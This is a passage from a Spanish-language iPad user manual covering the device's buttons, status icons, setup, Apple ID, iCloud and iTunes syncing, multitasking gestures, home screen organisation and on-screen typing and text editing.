reposo/activación Puede bloquear el iPad poniéndolo en modo de reposo cuando no lo esté utilizando. Cuando el iPad está bloqueado, no ocurrirá nada si toca la pantalla, pero podrá seguir escuchando música y utilizando el botón de volumen. Botón de reposo/ activación Botón de reposo/ activación Bloqueo del iPad: Pulse el botón de reposo/activación. Desbloqueo del iPad: Pulse el botón de inicio o el botón de reposo/activación y, a continuación, arrastre el regulador. Desactivación del iPad: Mantenga pulsado el botón de reposo/activación durante unos segundos hasta que aparezca el regulador rojo y, a continuación, arrastre el regulador que aparece en la pantalla. Activación del iPad: Mantenga pulsado el botón de reposo/activación hasta que aparezca el logotipo de Apple. El iPad está configurado para bloquearse automáticamente si no toca la pantalla durante uno o dos minutos. Puede cambiar el tiempo que tarda la pantalla en bloquearse o configurar un código para desbloquear el iPad. Ajuste del periodo de tiempo del bloqueo automático: Vaya a Ajustes > General > Bloqueo automático.Capítulo 1 Visión general 10 Establecer un código: Vaya a Ajustes > General > Bloqueo con código. Puede utilizar una Smart Cover para el iPad o una Smart Case para el iPad (de venta por separado) para bloquear o desbloquear automáticamente el iPad 2 o versiones posteriores. Uso de una Smart Cover para el iPad o de una Smart Case para el iPad: Vaya a Ajustes > General > (Des)bloqueo mediante tapa. Botón de inicio El botón de inicio le permite regresar a la pantalla de inicio en cualquier momento. Ofrece también otras funciones rápidas que resultan muy prácticas. Ir a la pantalla de inicio: Pulse el botón de inicio . En la pantalla de inicio, pulse una app para abrirla. Consulte Apertura de apps y cambio de una a otra en la página 20. Mostrar apps utilizadas recientemente: Cuando el iPad esté desbloqueado, haga doble clic en el botón de inicio . La barra multitarea aparece en la parte inferior de la pantalla y muestra las apps que se han utilizado más recientemente. Desplace la barra hacia la izquierda para ver más apps. Mostrar los controles de reproducción de audio: • Cuando el iPad esté bloqueado: Haga doble clic en el botón de inicio . Consulte Reproducción de música en la página 83. • Cuando esté utilizando otra app: Haga doble clic en el botón de inicio y, a continuación, deslice la barra multitarea de izquierda a derecha. Uso de Siri (iPad de tercera generación o posterior): Mantenga pulsado el botón de inicio . Consulte Capítulo 4, Siri, en la página 39. Botón de volumen e interruptor lateral Utilice el interruptor lateral para desactivar las alertas de audio y las notificaciones. También puede utilizarlo para bloquear la rotación de la pantalla e impedir que la pantalla del iPad pase de orientación vertical a horizontal, y viceversa. Ajustar el volumen: Pulse el botón para subir y bajar el volumen para modificar el volumen. • Silenciar el sonido: Mantenga pulsado el extremo inferior del botón de volumen. • Establecer un límite de volumen: Vaya a Ajustes > Música > Límite de volumen. Silenciar las notificaciones, alertas y efectos de sonido: Mueva el interruptor lateral hacia abajo. Este interruptor lateral no silencia la reproducción de audio, como música, podcasts, películas y programas de televisión. Consulte Interruptor lateral en la página 124. Bloquear la rotación de la pantalla: Vaya a Ajustes > General > “Usar interruptor lateral para…” y, a continuación, pulse “Bloquear rotación”.Capítulo 1 Visión general 11 Utilice el botón de volumen para ajustar el volumen de las canciones y de otros contenidos, así como de las alertas y otros efectos de sonido. Subir/bajar volumen Subir/bajar volumen Interruptor lateral Interruptor lateral ADVERTENCIA: Para obtener información importante sobre la prevención de la pérdida de audición, consulte Información importante sobre seguridad en la página 133. También puede utilizar el ajuste “No molestar” para silenciar las llamadas de FaceTime, las alertas y las notificaciones. Ajuste el iPad en “No molestar”: Vaya a Ajustes y active el modo “No molestar”. El modo “No molestar” desactiva el sonido de las alertas y notificaciones o desactiva la iluminación de la pantalla cuando la pantalla está bloqueada. Las alarmas seguirán sonando y, si desbloquea la pantalla, “No molestar” no tendrá efecto. Para programar horas de silencio, permitir llamadas de personas concretas o permitir que suenen llamadas repetidas de FaceTime, vaya a Ajustes > Notificaciones > No molestar. Consulte “No molestar” y notificaciones en la página 120. Bandeja de la tarjeta SIM La tarjeta SIM de los modelos iPad Wi-Fi + cellular se utiliza para datos de la red de telefonía móvil. Si su tarjeta SIM no venía preinstalada o si cambia de operador de datos móviles, es posible que tenga que instalar o sustituir la tarjeta SIM. iPad mini Wi-Fi + cellular Tarjeta nano-SIM Tarjeta nano-SIM Bandeja de la tarjeta SIM Bandeja de la tarjeta SIM Herramienta de expulsión de tarjetas SIM Herramienta de expulsión de tarjetas SIMCapítulo 1 Visión general 12 iPad Wi-Fi + cellular Tarjeta micro-SIM Tarjeta micro-SIM Bandeja de la tarjeta SIM Bandeja de la tarjeta SIM Herramienta de expulsión de tarjetas SIM Herramienta de expulsión de tarjetas SIM Abrir la bandeja SIM: Inserte el extremo de la herramienta de expulsión de tarjetas SIM en el hueco de la bandeja SIM. Presione firmemente y empuje la herramienta hacia dentro hasta que la bandeja se expulse. Extraiga la bandeja SIM para instalar o sustituir la tarjeta SIM. Si no dispone de herramienta de expulsión de tarjetas SIM, es posible que pueda utilizar el extremo de un clip pequeño. Para obtener más información, consulte Datos móviles en la página 119. Iconos de estado Los iconos de la barra de estado en la parte superior de la pantalla proporcionan información sobre el iPad: Icono de estado Significado Modo Avión Muestra que el modo Avión está activado, lo que significa que no puede acceder a Internet ni usar dispositivos Bluetooth®. Las funciones no inalámbricas están disponibles. Consulte Modo Avión en la página 117. LTE Indica que el iPad (Wi-Fi + cellular) está conectado a Internet a través de una red 4G LTE. 4G Indica que el iPad (Wi-Fi + cellular) está conectado a Internet a través de una red 4G. 3G Indica que el iPad (Wi-Fi + cellular) está conectado a Internet a través de una red 3G. EDGE Indica que el iPad (Wi-Fi + cellular) está conectado a Internet a través de una red EDGE. GPRS Indica que el iPad (Wi-Fi + cellular) está conectado a Internet a través de una red GPRS. Wi-Fi Muestra que el iPad tiene una conexión a Internet Wi-Fi. Cuantas más barras hay, más potente es la conexión. Consulte Conexión a una red Wi-Fi en la página 117. No molestar Muestra que “No molestar” está activado. Consulte “No molestar” y notificaciones en la página 120. Compartir Internet Muestra que el iPad comparte Internet con otro iPad, iPhone o iPod touch. Consulte Compartir Internet en la página 118. Sincronización Muestra que el iPad se está sincronizando con iTunes. Consulte Sincronización con iTunes en la página 18.Capítulo 1 Visión general 13 Icono de estado Significado Actividad Indica la actividad de red y de otros recursos. Algunas apps de terceros utilizan este icono para mostrar un proceso activo. VPN Muestra que está conectado a una red mediante VPN. Consulte VPN en la página 118. Bloqueo Muestra que el iPad está bloqueado. Consulte Botón de reposo/activación en la página 9. Alarma Muestra que hay una alarma activada. Consulte Capítulo 17, Reloj, en la página 79. Bloqueo de la orientación de la pantalla Muestra que la orientación de la pantalla está bloqueada. Consulte Orientación vertical u horizontal en la página 22. Localización Indica que una app está utilizando los servicios de localización. Consulte Privacidad en la página 127. Reproducir Muestra que se está reproduciendo una canción, audiolibro o podcast. Consulte Reproducción de música en la página 83. Bluetooth Icono blanco: Bluetooth está activado y hay un dispositivo enlazado, como un auricular manos libres o un teclado. Icono gris: Bluetooth está activado y enlazado con un dispositivo, pero el dispositivo está fuera del radio de alcance o apagado. Sin icono: Bluetooth no está enlazado con un dispositivo. Consulte Dispositivos Bluetooth en la página 35. Batería Bluetooth Muestra el nivel de batería de un dispositivo Bluetooth enlazado compatible. Batería Muestra el nivel de la batería o el estado de la carga. Consulte Batería en la página 38.2 14 En este capítulo encontrará información acerca de cómo configurar el iPad, configurar cuentas de correo, utilizar iCloud y muchas otras cosas. Requisitos necesarios · ADVERTENCIA: Para evitar lesiones, lea Información importante sobre seguridad en la página 133 antes de utilizar el iPad. Para utilizar el iPad, necesita lo siguiente: • una conexión a Internet (se recomienda banda ancha). • un ID de Apple para algunas funciones como iCloud, las tiendas App Store y iTunes Store, y para comprar por Internet; Puede crear un ID de Apple durante la configuración; Para utilizar el iPad con su ordenador, necesita lo siguiente: • un Mac con un puerto USB 2.0 o 3.0, o un PC con un puerto USB 2.0, y uno de estos sistemas operativos: • Mac OS X 10.6.8 o posterior • Windows 7, Windows Vista o Windows XP Home o Professional con el Service Pack 3 o posterior • iTunes 11 o posterior (para algunas características), disponible en www.itunes.com/es/download. Configuración del iPad Para configurar el iPad, enciéndalo y siga las instrucciones del Asistente de Configuración. Las indicaciones en pantalla del Asistente de Configuración le guiarán a lo largo de todo el proceso de configuración: • Conexión a una red Wi-Fi • Inicio de sesión con un ID de Apple o creación de un ID de Apple de forma gratuita • Configuración de iCloud • Activación de funciones recomendadas, como Localización y Buscar mi iPad. Durante el proceso de configuración, puede copiar sus apps, ajustes y contenidos desde otro iPad restaurándolos a partir de una copia de seguridad de iCloud o desde iTunes. Consulte Realización de copias de seguridad del iPad en la página 138. ID de Apple Un ID de Apple es el nombre de usuario de una cuenta gratuita que le permite acceder a servicios de Apple, tales como la tienda iTunes Store, la tienda App Store y iCloud. Necesitará un solo ID de Apple para todo lo que haga con Apple. Tal vez se le cobre por los servicios y productos que utilice, adquiera o alquile. IntroducciónCapítulo 2 Introducción 15 Si tiene un ID de Apple, utilícelo la primera vez que configure el iPad o cuando tenga que iniciar sesión para utilizar un servicio de Apple. Si todavía no tiene un ID de Apple, puede crear uno ahora o cuando tenga que iniciar sesión. Crear un ID de Apple: Vaya a Ajustes > “iTunes Store y App Store” y, a continuación, pulse Conectarse. (Si ya ha iniciado sesión en la cuenta y quiere crear otro ID de Apple, pulse primero su ID de Apple y, a continuación, pulse Desconectarse.) Para obtener más información, consulte support.apple.com/kb/he37?viewlocale=es_ES. Configuración del correo y otras cuentas El iPad puede utilizarse con iCloud, Microsoft Exchange y muchos de los proveedores habituales de servicios de correo, contactos y calendarios a través de Internet. Si aún no dispone de una cuenta de correo electrónico, puede configurar una cuenta iCloud gratuita cuando configure el iPad o hacerlo más adelante desde Ajustes > iCloud. Consulte Cómo usar iCloud en la página 16. Configurar una cuenta de iCloud: Vaya a Ajustes > iCloud. Configurar otra cuenta: Vaya a Ajustes > Correo, contactos, calendarios. Si su empresa u organización lo permite, puede añadir contactos mediante una cuenta LDAP o CardDAV. Consulte Cómo añadir contactos en la página 74. Para obtener información acerca de cómo configurar una cuenta de Microsoft Exchange en un entorno de empresa, consulte Configuración de cuentas de Microsoft Exchange en la página 128. Cómo gestionar el contenido del iPad Puede transferir información y archivos entre el iPad y sus otros dispositivos iOS y ordenadores mediante iCloud o iTunes. • iCloud almacena contenidos, como música, fotos, calendarios, contactos, documentos y otros tipos de archivos, y los transfiere de forma inalámbrica a sus otros dispositivos iOS y ordenadores mediante la tecnología push, de modo que todo se mantenga actualizado. Consulte Cómo usar iCloud más adelante. • iTunes sincroniza música, vídeo, fotos y otros tipos de archivos entre su ordenador y el iPad. Los cambios que realice en un dispositivo se copiarán en el otro cuando realice una sincronización. También puede usar iTunes para copiar un archivo en el iPad a fin de utilizarlo con una app, o para copiar en el ordenador un documento que haya creado en el iPad. Consulte Sincronización con iTunes en la página 18. Puede utilizar iCloud, iTunes, o ambos, según sus necesidades. Por ejemplo, puede utilizar Fotos en streaming de iCloud para transferir automáticamente fotos que haya realizado en el iPad a sus otros dispositivos, y puede utilizar iTunes para sincronizar álbumes de fotos del ordenador en el iPad. Nota: No sincronice ítems en el panel Información de iTunes (como contactos, calendarios y notas) y utilice también iCloud para mantener esa información actualizada en sus dispositivos. De lo contrario, puede tener información duplicada en el iPad.Capítulo 2 Introducción 16 Cómo usar iCloud iCloud almacena sus contenidos, como música, fotos, contactos, calendarios y documentos compatibles. Los contenidos almacenados en iCloud se transfieren de forma inalámbrica a sus dispositivos iOS y ordenadores configurados con la misma cuenta de iCloud. iCloud está disponible en dispositivos iOS con iOS 5 o posterior, en ordenadores Mac con OS X Lion 10.7.2 o posterior y en equipos PC con el Panel de control de iCloud para Windows (se requiere Windows Vista Service Pack 2 o Windows 7). Entre las funciones de iCloud se incluyen las siguientes: • iTunes en la nube: descargue compras anteriores de música y programas de televisión de iTunes en el iPad de forma gratuita y en cualquier momento. • Apps y libros: descargue compras anteriores realizadas en las tiendas App Store y iBookstore de forma gratuita y en cualquier momento. • Fotos en streaming: las fotos que realice en un dispositivo aparecerán de forma automática en todos sus dispositivos. Consulte Fotos en streaming en la página 62. • Documentos en la nube: para apps con iCloud activado, mantenga actualizados los documentos y datos de las apps en todos sus dispositivos. • Correo, contactos, calendarios: mantenga actualizados sus contactos de correo, calendarios, notas y recordatorios en todos sus dispositivos. • Copia de seguridad: realice copias de seguridad del iPad en iCloud automáticamente cuando se conecte a una fuente de alimentación y a una red Wi-Fi. Consulte Cómo realizar copias de seguridad con iCloud en la página 138. • Buscar mi iPad: localice su iPad en un mapa, muestre un mensaje, reproduzca un sonido, bloquee la pantalla o borre los datos de forma remota. Consulte Buscar mi iPad en la página 37. • Buscar a mis amigos: ahora puede estar al corriente de lo que hacen sus familiares y amigos (cuando estén conectados a una red Wi-Fi o de datos de telefonía móvil) con la app Buscar a mis amigos. Descargue esta app gratuita en la tienda App Store. • iTunes Match: con una suscripción a iTunes Match, toda su música, incluida la música importada desde discos CD o adquirida en lugares distintos de iTunes, aparecerá en todos sus dispositivos y podrá descargarse y reproducirse bajo demanda. Consulte iTunes Match en la página 87. • Pestañas de iCloud: vea las páginas web abiertas en sus otros dispositivos iOS y ordenadores con OS X Mountain Lion o posterior instalado. Consulte Capítulo 5, Safari, en la página 45. Con iCloud, obtendrá una cuenta de correo electrónico gratuita y 5 GB de almacenamiento para su correo, sus documentos y sus copias de seguridad. La música, las apps, los programas de televisión y los libros que compre, así como el espacio que ocupe en Fotos en streaming, no se descontarán del total de su espacio libre. Nota: Es posible que iCloud no esté disponible en todas las áreas, y sus funciones pueden variar según el área. Para obtener más información, visite www.apple.com/es/icloud. Iniciar sesión o crear una cuenta iCloud: Vaya a Ajustes > iCloud.Capítulo 2 Introducción 17 Gestionar iCloud: Vaya a Ajustes > iCloud. • Activar o desactivar servicios: Vaya a Ajustes > iCloud y, después, active servicios como “Fotos en streaming” y “Documentos y datos”. • Activar copias de seguridad de iCloud: Vaya a Ajustes > iCloud > “Almacenamiento y copias”. • Comprar más espacio de almacenamiento de iCloud: Vaya a Ajustes > iCloud > “Almacenamiento y copias” > “Gestionar almacenamiento” > “Cambiar plan de almacenamiento” y, después, seleccione una opción más completa. Para obtener información sobre la forma de comprar espacio de almacenamiento para iCloud, consulte la help.apple.com/icloud. Activar las descargas automáticas de música, apps o libros: Vaya a Ajustes > Store. Ver y descargar compras anteriores: • Compras realizadas en la tienda iTunes Store: Vaya a iTunes y, a continuación, pulse Comprado . • Compras realizadas en la tienda App Store: Vaya a la tienda App Store y, a continuación, pulse Comprado . • Compras realizadas en la tienda iBookstore: Vaya a iBooks, pulse Store y, a continuación, pulse Comprado . Buscar su iPad: Vaya a www.icloud.com, inicie sesión con su ID de Apple y, a continuación, seleccione “Buscar mi iPad”. Importante: En el iPad, debe activar el ajuste “Buscar mi iPad en Ajustes > iCloud para poder localizar el iPad. Para obtener más información sobre iCloud, visite www.apple.com/es/icloud. Para obtener información de soporte, visite www.apple.com/mx/support/icloud, o www.apple.com/la/support/icloud. Conexión del iPad al ordenador Utilice el cable USB incluido para conectar el iPad al ordenador. Conectar el iPad al ordenador le permite sincronizar información, música y otros contenidos con iTunes. También le permite realizar una sincronización inalámbrica con iTunes. Consulte Sincronización con iTunes en la página 18. A menos que el iPad se esté sincronizando con el ordenador, podrá desconectarlo en cualquier momento. Si lo desconecta durante una sincronización, es posible que algunos datos no se sincronicen hasta la próxima ocasión en que conecte el iPad al ordenador. Capítulo 2 Introducción 18 Sincronización con iTunes La sincronización con iTunes copia información de su ordenador al iPad, y viceversa. Puede realizar una sincronización conectando el iPad al ordenador mediante el cable USB incluido o puede configurar iTunes para que realice una sincronización inalámbrica vía Wi-Fi. Puede configurar iTunes para sincronizar música, fotos, vídeos, podcasts, apps y otros tipos de archivos. Para obtener información sobre la forma de sincronizar el iPad, abra iTunes en su ordenador y seleccione “Ayuda iTunes” en el menú Ayuda. Configurar la sincronización inalámbrica con iTunes: Conecte el iPad al ordenador mediante el cable USB incluido. En iTunes, en el ordenador, seleccione su iPad (dentro de Dispositivos), haga clic en Resumen y active “Sincronizar vía Wi-Fi”. Cuando la sincronización Wi-Fi está activada, el iPad se sincroniza automáticamente todos los días. El iPad debe estar conectado a una fuente de alimentación, tanto el iPad como su ordenador deben estar conectados a la misma red inalámbrica y iTunes debe estar abierto en el ordenador. Para obtener más información, consulte Sincronización con iTunes vía Wi-Fi en la página 122. Consejos para realizar la sincronización con iTunes • Si utiliza iCloud para almacenar sus contactos, calendarios, favoritos y notas, no los sincronice también con el iPad utilizando iTunes. • Las compras realizadas en las tiendas iTunes Store o App Store en el iPad se sincronizan con la biblioteca de iTunes. También puede adquirir o descargar contenidos y apps de iTunes Store en su ordenador, y después sincronizarlos con el iPad. • En el panel Resumen del dispositivo, puede ajustar iTunes para que sincronice automáticamente el iPad cuando se conecte a su ordenador. Para invalidar temporalmente este ajuste, mantenga pulsadas las teclas Comando y Opción (Mac) o Mayúsculas y Control (PC) hasta vea que el iPad aparece en la barra lateral. • En el panel Resumen del dispositivo, seleccione “Cifrar copia de seguridad del iPad” si desea encriptar la información almacenada en su ordenador cuando iTunes realice una copia de seguridad. Las copias de seguridad encriptadas se indican con el icono de un candado , y se requiere una contraseña para restablecer la copia de seguridad. Si no selecciona esta opción, otras contraseñas (como las de las cuentas de correo) no se incluirán en la copia de seguridad y tendrán que volver a introducirse si utiliza la copia de seguridad para restaurar el iPad. • En el panel Información del dispositivo, cuando sincronice cuentas de correo, solo se transferirán los ajustes de su ordenador al iPad. Los cambios que realice en una cuenta de correo del iPad no afectan a la cuenta del ordenador. • En el panel Información del dispositivo, haga clic en Avanzado para seleccionar opciones que le permitan reemplazar la información del iPad por la información de su ordenador en la siguiente sincronización. • Si escucha parte de un podcast o audiolibro, el punto en que se haya detenido se incluirá si sincroniza este contenido con iTunes. Si empezó a escucharlo en el iPad, podrá seguir donde lo dejó en iTunes en su ordenador o viceversa. • En el panel Foto del dispositivo, puede sincronizar fotos y vídeos de una carpeta de su ordenador.Capítulo 2 Introducción 19 Visualización del manual del usuario en el iPad Puede consultar el Manual del usuario del iPad en el iPad en Safari y en la app gratuita iBooks. Visualizar el manual del usuario en Safari: En Safari, pulse y, a continuación, pulse el favorito Manual del usuario del iPad. Puede consultar también la página help.apple.com/ipad. Añadir un icono para el manual del usuario en la pantalla de inicio. Pulse y, a continuación, pulse “Añadir a pantalla inicio”. Visualizar el manual del usuario en iBooks: Si no tiene instalado iBooks, abra la tienda App Store y, a continuación, busque e instale “iBooks”. Abra iBooks y pulse Tienda. Busque “Manual del usuario del iPad” y, a continuación, seleccione y descargue el manual del usuario. Para obtener más información sobre iBooks, consulte Capítulo 23, iBooks, en la página 94.3 20 Uso de las apps La interacción con el iPad se realiza empleando los dedos para pulsar, pulsar dos veces, desplazarse arrastrando los dedos o juntándolos y separándolos sobre los objetos de la pantalla táctil. Apertura de apps y cambio de una a otra Para ir a la pantalla de inicio, pulse el botón de inicio . Abrir una app: Púlsela. Para volver a la pantalla de inicio, vuelva a pulsar el botón de inicio . Ver las apps usadas recientemente: Haga doble clic en el botón de inicio para ver la barra multitarea. Pulse una app para volver a utilizarla. Desplácese hacia la izquierda para ver más apps. Si tiene muchas apps, tal vez desee utilizar Spotlight para localizarlas y abrirlas. Consulte Cómo buscar en la página 30. Nociones básicasCapítulo 3 Nociones básicas 21 Desplazamiento Arrastre hacia arriba o hacia abajo para desplazarse. En algunas pantallas, como las páginas web, también puede desplazarse lateralmente. Si arrastra el dedo para desplazarse por la pantalla, no seleccionará ni activará nada. Pulse ligeramente para desplazarse rápidamente. Puede esperar a que el desplazamiento se detenga o bien tocar cualquier otro punto de la pantalla para detenerlo inmediatamente. Para ir rápidamente a la parte superior de una página, pulse la barra de estado situada en la parte superior de la pantalla. Listas Según la lista, seleccionar un ítem puede tener efectos diferentes; por ejemplo, puede abrir otra lista, reproducir una canción, abrir un mensaje de correo electrónico o mostrar la información de uno de sus contactos. Seleccionar un ítem de una lista: Púlsela. Algunas listas disponen de un índice a un lado que le permite navegar por ellas rápidamente. Buscar ítems en una lista indexada: Pulse una letra para ir directamente a los ítems que empiezan por dicha letra. O arrastre el dedo a lo largo del índice para desplazarse rápidamente por la lista. Volver a una lista o pantalla anterior: Pulse el botón Atrás de la esquina superior izquierda.Capítulo 3 Nociones básicas 22 Zoom en las imágenes Dependiendo de la app, puede ampliar o reducir la imagen de la pantalla con el zoom. Cuando vea fotografías, páginas web, mensajes de correo o mapas, por ejemplo, junte los dedos sobre la pantalla para alejar la imagen o sepárelos para acercarla. Con fotografías y páginas web, también puede pulsar dos veces rápidamente sobre la pantalla para ampliar la imagen y volver a pulsar dos veces para reducirla. Con mapas, pulse dos veces para acercar la imagen y una vez con dos dedos para alejarla. El zoom también es una prestación de accesibilidad que le permite ampliar la pantalla de cualquier app que esté usando para ayudarle a ver lo que hay en la pantalla. Consulte Zoom en la página 113. Gestos para multitarea Puede utilizar gestos para multitarea en el iPad para regresar a la pantalla de inicio, mostrar la barra multitarea o pasar a otra app. Volver a la pantalla de inicio: Realice un movimiento de pellizco con cuatro o cinco dedos hacia dentro. Mostrar la barra multitarea: Desplácese hacia arriba con cuatro o cinco dedos. Cambiar de app: Desplácese hacia la izquierda o hacia la derecha con cuatro o cinco dedos. Activar o desactivar los gestos para multitarea: Vaya a Ajustes > General > Gestos para multitarea. Orientación vertical u horizontal Puede ver muchas apps del iPad en orientación vertical u horizontal. Gire iPad y la pantalla girará también ajustándose automáticamente a la nueva orientación.Capítulo 3 Nociones básicas 23 Bloquear la orientación de la pantalla: Haga doble clic en el botón de inicio , desplace la barra multitarea de izquierda a derecha y pulse . El icono de bloqueo de la orientación aparece en la barra de estado cuando la orientación de la pantalla está bloqueada. También puede configurar el interruptor lateral para que bloquee la orientación de la pantalla en vez de silenciar los efectos de sonido y las notificaciones. Vaya a Ajustes > General y, en “Usar interruptor lateral para”, pulse “Bloquear rotación”. Consulte Interruptor lateral en la página 124. Ajuste del brillo de la pantalla Puede ajustar manualmente el brillo de la pantalla o activar la opción “Brillo automático” para que el iPad utilice el sensor de luz ambiental integrado para ajustar automáticamente el brillo. Ajustar el brillo de la pantalla: Haga doble clic en el botón de inicio , desplace la barra multitarea de izquierda a derecha y, después, arrastre el regulador de brillo. Brillo Brillo Activar o desactivar “Brillo automático”: Vaya a Ajustes > Brillo y fondo de pantalla. Consulte Brillo y fondo de pantalla en la página 126. Personalización del iPad Puede personalizar la disposición de sus apps en la pantalla de inicio, organizarlas en carpetas y cambiar el fondo de pantalla. Reorganización de las apps Personalice la pantalla de inicio reorganizando las apps, trasladándolas al Dock a lo largo de la parte inferior de la pantalla y creando otras pantallas de inicio. Reorganizar las apps: Mantenga pulsada cualquier app de la pantalla de inicio hasta que su icono empiece a moverse. Después, desplace las apps arrastrándolas. Pulse el botón de inicio para guardar su disposición.Capítulo 3 Nociones básicas 24 Crear una nueva pantalla de inicio: Mientras organiza las apps, arrastre una de ellas hacia el extremo derecho de la pantalla hasta que aparezca una nueva pantalla. Puede crear hasta 11 pantallas de inicio. Los puntos que aparecen encima del Dock indican el número de pantallas que hay y cuál se está viendo. • Alternar entre diferentes pantallas de inicio: Desplácese hacia la izquierda o hacia la derecha. • Ir a la primera pantalla de inicio: Pulse el botón de inicio . Trasladar un app a otra pantalla: Mientras su icono se esté moviendo, arrastre la app hasta el borde de la pantalla. Personalizar la pantalla de inicio utilizando iTunes: Conecte el iPad al ordenador. En iTunes, en su ordenador, seleccione iPad y, a continuación, haga clic en el botón “Aplic.” para ver la imagen de la pantalla de inicio del iPad. Restablecer la disposición original de la pantalla de inicio: Vaya a Ajustes > General > Restablecer y, a continuación, pulse “Restablecer pantalla de inicio”. Al restablecer la pantalla de inicio, se eliminan todas las carpetas que haya creado y se le aplica el fondo de pantalla por omisión. Organización mediante carpetas Puede utilizar carpetas para organizar las apps en las pantallas de inicio. Reorganice las carpetas, del mismo modo que con las apps, arrastrándolas por las pantallas de inicio o hasta el Dock. Crear una carpeta: Mantenga pulsada una app hasta que los iconos de la pantalla de inicio comiencen a moverse y, a continuación, arrastre una app sobre otra. El iPad creará una nueva carpeta que incluirá estas dos apps y le dará un nombre en función del tipo de apps que contiene. Para introducir otro nombre, pulse el campo del nombre. Abrir una carpeta: Pulse la carpeta. Para cerrar una carpeta, pulse fuera de la carpeta o bien pulse el botón de inicio . Organizar las apps mediante carpetas: Mientras organiza las apps (sus iconos se mueven): • Añadir una app a una carpeta: Arrastre la app sobre la carpeta. • Eliminar una app de una carpeta: Abra la carpeta si es necesario y arrastre la app fuera de ella. • Borrar una carpeta: Mueva todas las apps fuera de la carpeta. La carpeta se elimina automáticamente. • Renombrar una carpeta: Pulse para abrir la carpeta y, a continuación, pulse el nombre e introduzca uno nuevo. Cuando termine, pulse el botón de inicio . Modificación del fondo de pantalla Puede personalizar la pantalla bloqueada y la pantalla de inicio seleccionando una imagen o fotografía para utilizarla como fondo de pantalla. Seleccione una de las imágenes incluidas o una fotografía de su Carrete o de otro álbum del iPad. Cambiar el fondo de pantalla: Vaya a Ajustes > Brillo y fondo de pantalla.Capítulo 3 Nociones básicas 25 Escritura El teclado en pantalla le permite escribir cuando tenga que introducir texto. Introducción de texto Utilice el teclado en pantalla para introducir texto (por ejemplo, información de contacto, mensajes de correo y direcciones web). Dependiendo de la app y del idioma que esté utilizando, el teclado podrá corregir faltas de ortografía, predecir lo que va a escribir e incluso aprender a medida que lo utilice. También puede utilizar un teclado inalámbrico Apple para escribir. Consulte Teclado inalámbrico de Apple en la página 28. Para usar el dictado en vez de escribir, consulte Dictado en la página 29. Introducir texto: Pulse un campo de texto para que aparezca el teclado y, a continuación, pulse las teclas del teclado. Mientras escribe, cada letra aparecerá encima del dedo. Si pulsa la tecla equivocada, puede desplazar el dedo hasta la tecla correcta. La letra no aparecerá hasta que retire el dedo de la tecla. • Escribir en mayúsculas: Pulse la tecla Mayúsculas antes de pulsar una letra. También puede mantener pulsada la tecla Mayúsculas y, a continuación, deslizar el dedo hasta una letra. • Escribir rápidamente un punto y un espacio: Pulse dos veces en la barra espaciadora. • Activar el bloqueo de mayúsculas: Pulse dos veces la tecla Mayúsculas . Para desactivar el bloqueo de mayúsculas, pulse la tecla Mayúsculas. • Introducir números, signos de puntuación o símbolos: Pulse la tecla Número . Para ver otros símbolos y signos de puntuación, pulse la tecla Símbolo . • Introducir letras acentuadas u otros caracteres alternativos: Mantenga pulsada una tecla y seleccione una de las opciones. Ocultar el teclado en pantalla: Pulse la tecla de teclado . Ajustar las opciones de escritura: Vaya a Ajustes > General > Teclado.Capítulo 3 Nociones básicas 26 Edición de texto Si tiene que editar texto, una lupa en pantalla le permitirá colocar el punto de inserción donde necesite. Podrá seleccionar texto y cortarlo, copiarlo o pegarlo. En algunas apps, también puede cortar, copiar y pegar fotos y vídeos. Situar el punto de inserción: Mantenga el dedo pulsado para mostrar la lupa y, a continuación, arrastre para colocar el punto de inserción. Seleccionar texto: Pulse el punto de inserción para mostrar los botones de selección. Pulse Seleccionar para seleccionar la palabra adyacente o pulse “Seleccionar todo” para seleccionar todo el texto. También puede pulsar dos veces una palabra para seleccionarla. Arrastre los puntos de captura para seleccionar más o menos texto. En los documentos de solo lectura, como las páginas web, mantenga el dedo sobre una palabra para seleccionarla. Puntos de captura Puntos de captura Cortar o copiar texto: Seleccione texto y, a continuación, pulse Cortar o Copiar. Pegar texto: Pulse el punto de inserción y, a continuación, pulse Pegar para insertar el último texto que haya cortado o copiado. Para sustituir texto, selecciónelo antes de pulsar Pegar. Deshacer la última modificación: Agite el iPad y, a continuación, pulse Deshacer. Poner el texto en negrita o cursiva, o subrayarlo: Seleccione texto, pulse y, a continuación, pulse B/I/U (no siempre disponible). Obtener la definición de una palabra: Seleccione la palabra y pulse Definir (no siempre disponible). Obtener palabras alternativas: Seleccione una palabra y, a continuación, pulse Sugerir (no siempre disponible). Justificar el texto: Seleccione el texto y, después, pulse la flecha izquierda o derecha (no siempre disponible).Capítulo 3 Nociones básicas 27 Autocorrección y ortografía Con muchos idiomas, el iPad utiliza el diccionario activo para corregir faltas de ortografía o hacer sugerencias mientras se escribe. Cuando el iPad sugiere una palabra, no es necesario dejar de escribir para aceptar la sugerencia. Para ver una lista de los idiomas incluidos, consulte www.apple.com/es/ipad/specs, www.apple.com/mx/ipad/specs o www.apple.com/la/ipad/specs. Aceptar la sugerencia: Escriba un espacio, un signo de puntuación o un retorno de carro. Rechazar una sugerencia: Pulse la “x” situada al lado de la sugerencia. Cada vez que rechace una sugerencia para la misma palabra, es más probable que el iPad acepte la palabra. El iPad también puede subrayar las palabras que ya se han introducido y que pueden estar mal escritas. Sustituir una palabra mal escrita: Pulse la palabra subrayada y, a continuación, pulse la forma correcta. Si la palabra que desea no aparece, escríbala de nuevo. Activar o desactivar la autocorrección y el corrector ortográfico: Vaya a Ajustes > General > Teclado. Funciones rápidas y su diccionario personal Las funciones rápidas le permiten escribir unos pocos caracteres en lugar de tener que escribir una palabra o frase más larga. Cada vez que escribe la función rápida, aparece el texto expandido. Por ejemplo, la función rápida “qhh” se expande a “¿Qué hacemos hoy?”. Crear una función rápida: Vaya a Ajustes > General > Teclado y, a continuación, pulse “Crear función rápida”. Evitar que el iPad corrija una palabra o frase: Cree una función rápida, pero deje en blanco el campo “Función rápida”. Editar una función rápida: Vaya a Ajustes > General > Teclado y, a continuación, pulse la función rápida. Usar iCloud para mantener su diccionario personal actualizado en sus otros dispositivos iOS: Vaya a Ajustes > iCloud y, a continuación, active “Documentos y datos”.Capítulo 3 Nociones básicas 28 Disposiciones de teclado En el iPad, puede escribir con un teclado dividido situado en la parte inferior de la pantalla o libre en medio de la pantalla. Ajustar el teclado: Mantenga pulsado y, a continuación: • Utilizar un teclado dividido: Deslice el dedo para dividir el teclado y, a continuación, apártelo. • Colocar el teclado en medio de la pantalla: Deslice el dedo para desbloquear la posición del teclado y, a continuación, apártelo. • Regresar a un teclado completo: Deslice el 